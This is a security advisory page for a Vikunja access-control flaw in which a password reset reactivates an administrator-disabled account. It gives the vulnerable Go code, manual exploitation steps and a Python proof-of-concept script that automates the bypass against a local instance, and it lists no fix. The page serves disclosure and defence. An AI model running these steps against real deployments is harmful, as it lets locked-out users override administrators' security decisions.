Skip to content

GHSA-vq4q-79hh-q767 CVE-2026-33316 GO-2026-4798

Vikunja’s Improper Access Control Enables Bypass of Administrator-Imposed Account Disablement

High Go
Severity
8.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.38%
Chance of exploitation in the next 30 days. Higher than 31.72% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-284 Improper Access Control
CWE-862 Missing Authorization
CWE-863 Incorrect Authorization
Fix
None yet
No fixed version published

Description

Summary

A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The ResetPassword() function sets the user’s status to StatusActive after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through /api/v1/user/password/token and completing the reset via /api/v1/user/password/reset, a disabled user can reactivate their account and bypass administrator-imposed account disablement.

Vulnerable Code Snippet

In pkg/user/user_password_reset.go, beginning at line 66:

	// Hash the password
	user.Password, err = HashPassword(reset.NewPassword)
	if err != nil {
		return
	}

	err = removeTokens(s, user, TokenPasswordReset)
	if err != nil {
		return
	}

	user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active
	_, err = s.
		Cols("password", "status").
		Where("id = ?", user.ID).
		Update(user)
	if err != nil {
		return
	}

The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the StatusDisabled state by an administrator. Additionally, in the token request function (RequestUserPasswordResetTokenByEmail), the system fetches the user via GetUserWithEmail() which does not filter out disabled users, allowing them to legally request the token in the first place.

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a standard user account in Vikunja.
  2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (status = 2).
  3. Attempt to log in as the disabled user to verify access is blocked (receives HTTP 412: This account is disabled).
  4. Without authenticating, send a POST request to /api/v1/user/password/token with the disabled user's email address.
  5. Retrieve the password reset token from the incoming email.
  6. Send a POST request to /api/v1/user/password/reset with the token and a new password.
  7. Log in using the new password. Observe that the login succeeds (HTTP 200) and the account has been maliciously reactivated.

Automation PoC

import requests
import psycopg2
import time
import secrets

API_URL = "http://localhost:3456/api/v1"

def main():
    username = f"testuser_{secrets.token_hex(4)}"
    email = f"{username}@example.com"
    password = "SuperSecretPassword123!"
    
    print("[1] Registering user...")
    requests.post(f"{API_URL}/register", json={"username": username, "email": email, "password": password})
    
    print("[2] Admin disables account (Status = 2)...")
    conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", password="vikunja_password")
    cursor = conn.cursor()
    cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (username,))
    conn.commit()
    
    print("[3] Verifying login is blocked...")
    res = requests.post(f"{API_URL}/login", json={"username": username, "password": password})
    print(f"Login response: {res.status_code} (Should be 412)")
    
    print("[4] Attacker requests password reset...")
    requests.post(f"{API_URL}/user/password/token", json={"email": email})
    
    print("[5] Attacker grabs token from email/DB...")
    cursor.execute("SELECT id FROM users WHERE username = %s;", (username,))
    user_id = cursor.fetchone()[0]
    cursor.execute("SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;", (user_id,))
    token = cursor.fetchone()[0]
    
    print("[6] Attacker submits reset, triggering bug...")
    new_password = "HackedPassword123!"
    requests.post(f"{API_URL}/user/password/reset", json={"token": token, "new_password": new_password})
    
    print("[7] Attacker logs in successfully!")
    res = requests.post(f"{API_URL}/login", json={"username": username, "password": new_password})
    print(f"Final Login response: {res.status_code} (Should be 200)")

    cursor.execute("SELECT status FROM users WHERE username = %s;", (username,))
    print(f"Final DB Status: {cursor.fetchone()[0]} (0 = Active)")
    conn.close()

if __name__ == "__main__":
    main()

Impact

  • Authentication & Authorization Bypass: An attacker can unilaterally reverse an administrative security decision.
  • Integrity & Confidentiality Impact: The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.

Affected versions

Go

PackageVulnerableFixed in
code.vikunja.io/api
<= 2.1.0
No fix yet
code.vikunja.io/api
all versions
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-284: Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-m687-p538-r5hp
Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted
Medium Also affects code.vikunja.io/api
GHSA-fmmf-xq98-g327
Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check
Medium Also affects code.vikunja.io/api
GHSA-pjr3-86v4-5p7w
Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
Medium Also affects code.vikunja.io/api
GHSA-hjx8-qv73-f7cm
Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed
High Also affects code.vikunja.io/api
GHSA-fprf-r6rv-xg99
Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants
Medium Also affects code.vikunja.io/api
GHSA-4hv6-xc92-j86g
Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes
High Also affects code.vikunja.io/api
GHSA-w2ch-4xgr-22ww
Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal
Low Also affects code.vikunja.io/api
GHSA-8wvg-r2j4-3737
Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint
Medium Also affects code.vikunja.io/api
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor